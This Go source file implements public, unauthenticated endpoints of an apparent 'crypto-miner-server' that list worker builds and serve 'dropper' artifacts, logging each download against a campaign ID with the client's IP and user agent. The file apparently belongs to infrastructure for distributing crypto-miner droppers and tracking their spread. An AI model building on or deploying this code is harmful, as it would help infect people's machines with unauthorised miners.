package api import ( "net/http" "os" "path/filepath" "strings" dbpkg "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "github.com/go-chi/chi/v5" ) // PublicBuildsConfig supplies public-download policy from server config. type PublicBuildsConfig struct { Enabled bool LatestN int } // PublicHandler serves unauthenticated build listing and download endpoints. type PublicHandler struct { db *dbpkg.Database dataDir string configFn func() PublicBuildsConfig } func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler { return &PublicHandler{db: database, dataDir: dataDir, configFn: configFn} } type publicBuildDTO struct { ID string `json:"id"` WorkerName string `json:"worker_name"` Platform string `json:"platform"` FileName string `json:"file_name"` FileSize int64 `json:"file_size"` BundleSize int64 `json:"bundle_size"` DownloadURL string `json:"download_url"` CreatedAt string `json:"created_at"` Pinned bool `json:"pinned"` Public bool `json:"public"` } func toPublicBuildDTO(b *models.BuildRecord) publicBuildDTO { dl := b.DownloadURL if dl == "" { dl = "/api/v1/public/download/" + b.ID } else if !strings.HasPrefix(dl, "/api/v1/public/") { // Rewrite authenticated artifact path to public when listed if strings.Contains(dl, "/artifact/") { parts := strings.Split(dl, "/artifact/") if len(parts) == 2 { dl = "/api/v1/public/download/" + b.ID + "/artifact/" + parts[1] } } else { dl = "/api/v1/public/download/" + b.ID } } return publicBuildDTO{ ID: b.ID, WorkerName: b.WorkerName, Platform: b.Platform, FileName: b.FileName, FileSize: b.FileSize, BundleSize: b.BundleSize, DownloadURL: dl, CreatedAt: b.CreatedAt.Format("2006-01-02T15:04:05Z07:00"), Pinned: b.Pinned, Public: b.Public, } } // GET /api/v1/public/builds func (h *PublicHandler) ListBuilds(w http.ResponseWriter, r *http.Request) { cfg := h.configFn() builds, err := h.db.ListPublicBuilds(cfg.Enabled, cfg.LatestN) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) return } dtos := make([]publicBuildDTO, 0, len(builds)) for _, b := range builds { dtos = append(dtos, toPublicBuildDTO(b)) } writeJSON(w, map[string]interface{}{ "builds": dtos, "public_builds_enabled": cfg.Enabled, "latest_n": cfg.LatestN, }) } // GET /api/v1/public/download/{id} // GET /api/v1/public/download/{id}/artifact/{name} func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) { id := chi.URLParam(r, "id") if id == "" { http.Error(w, "build id required", http.StatusBadRequest) return } cfg := h.configFn() ok, err := h.db.IsBuildPubliclyDownloadable(id, cfg.Enabled, cfg.LatestN) if err != nil || !ok { http.Error(w, "build not available for public download", http.StatusNotFound) return } if c := r.URL.Query().Get("c"); c != "" { _ = h.db.LogCampaignEvent(c, id, dbpkg.CampaignEventDownload, "public_download", clientIP(r), r.UserAgent()) } build, err := h.db.GetBuild(id) if err != nil { http.Error(w, "build not found", http.StatusNotFound) return } artifactName := chi.URLParam(r, "name") if artifactName != "" { path := filepath.Join(h.dataDir, "builds", id, filepath.Base(artifactName)) if _, err := os.Stat(path); err != nil { http.Error(w, "artifact not found", http.StatusNotFound) return } w.Header().Set("Content-Disposition", `attachment; filename="`+filepath.Base(artifactName)+`"`) http.ServeFile(w, r, path) return } path, name := resolveDropperArtifact(h.dataDir, build) if path == "" { http.Error(w, "artifact missing on disk", http.StatusNotFound) return } w.Header().Set("Content-Disposition", `attachment; filename="`+name+`"`) http.ServeFile(w, r, path) } func clientIP(r *http.Request) string { ip := r.Header.Get("X-Forwarded-For") if ip == "" { ip = r.RemoteAddr } if idx := strings.LastIndex(ip, ":"); idx > 0 && strings.Count(ip, ":") == 1 { ip = ip[:idx] } return ip }